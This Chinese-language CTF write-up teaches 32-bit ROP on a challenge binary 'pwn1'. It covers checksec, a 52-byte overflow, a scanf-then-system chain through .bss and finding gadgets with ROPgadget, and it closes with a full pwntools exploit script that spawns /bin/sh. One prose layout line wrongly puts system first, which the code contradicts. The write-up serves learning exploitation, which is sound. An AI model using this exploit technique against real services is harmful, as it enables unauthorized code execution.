先来正能量一波:作为一个一直没入门pwn的小菜鸟,这一段时间一直被学弟按在地上摩擦很不爽很不爽~~~~~~~~
------------------------------------------------------------------------------------
先给出几个学习链接:
一步一步ROP:x86
一步一步ROP:x64
论文:
Return-Oriented-Programming(ROP FTW) By Saif El-Sherei
拿到一个pwn题时,第一反应是开了哪些保护:checksec检查一下
NX enabled是开启了栈不可执行,这时ROP就有应用空间了
ROP是要非常非常熟悉栈结构的:首先构造缓冲区溢出,然后控制eip就控制了程序流程,然后一般的rop是这样构造的:
【Address of pop eax,ret gadget】
【data】
【Address of next gadget】
……
我的理解是:ROP是构造了一条代码执行链的跳转过程,这个链调用执行了多个函数,一般以执行system(‘/bin/sh’)为目的(简单题都是这样)
在控制函数跳转的时候,我们要关注的是两个问题:A。函数的参数怎么安排地方。B。这个函数执行完了之后,下个函数怎么去执行
这个题是控制了scanf+system
很明显的缓冲区溢出,gdb调试可以知道输入52个字符之后,可以控制程序流程
先给出思路:
我们利用scanf函数,首先执行函数scanf(“%s”,bss段),这样我们可以输入/bin/sh放到bss段里,然后再执行system(bss段),相当于执行了system("/bin/sh")
那么我们需要知道:scanf地址,system地址,bss段基址,%s格式化字符串的地址
ROP怎么用的呢?根据函数执行链来使用,先执行的是scanf的地址,下一条指令需要是我们的返回地址,即我们需要跳转到的地址:我们需要跳转到system的地址,也就是跳过system的两个参数,那么需要安排pop pop ret,system道理同样
那么ROP的布局如下:
【system_addr】+【pop_pop_ret(在执行完一个函数之后,跳过参数去往下一个需要执行的函数的地方)】+【%s地址】+【bss段基址】(这里两个是scanf的参数,在执行完毕scanf后,这两个值会被pop掉,然后ret执行的是下一个地址,我们这里安排的是system的地址)+【system地址】+【‘aaaa’】(任意四个字节作为返回地址)+【bss段基址】
然后就是调试过程,如何找到这些地址
(1)got和plt的区别:IDA里有两个system和两个scanf的值,用哪一个。涉及到linux延时绑定的原理:用plt
(2)bss段基址:readelf -S pwn1
pop pop ret的地址我们需要用ROPgadget工具来找
ROPgadget --binary pwn1 --only "pop|pop|ret"
然后就把对应地址填上去就好了
关于如何调试:直接gdb调试程序不太好,很容易出现本机弄好了服务器上不对的情况
更好的方式是采取调试py代码,gdb挂载的方式:即在python代码中需要调试的地方写上gdb.attach(io)
ROP的调试主要是找到缓冲区溢出处的ret,然后查看栈内存的布局
首先单步运行到程序缓冲区溢出的地方的ret指令处,下一步就是我们可以控制的流程,查看栈内存
ret的地方,前7个都是我写进去的,说明搞对了咯
py代码:
from pwn import *
io = process('./pwn1')
io.recvline()
elf = ELF('./pwn1')
plt_scanf = 0x08048410
plt_system = 0x080483E0
pop_pop_ret = 0x080485EE
bss_addr = 0x0804A040
format_s_addr = 0x08048629
payload = p32(plt_scanf)
payload += p32(pop_pop_ret)
payload += p32(format_s_addr)
payload += p32(bss_addr)
payload += p32(plt_system)
payload += "aaaa"
payload += p32(bss_addr)
gdb.attach(io)
io.sendline("A" * 52 + payload)
io.sendline('/bin/sh')
io.interactive()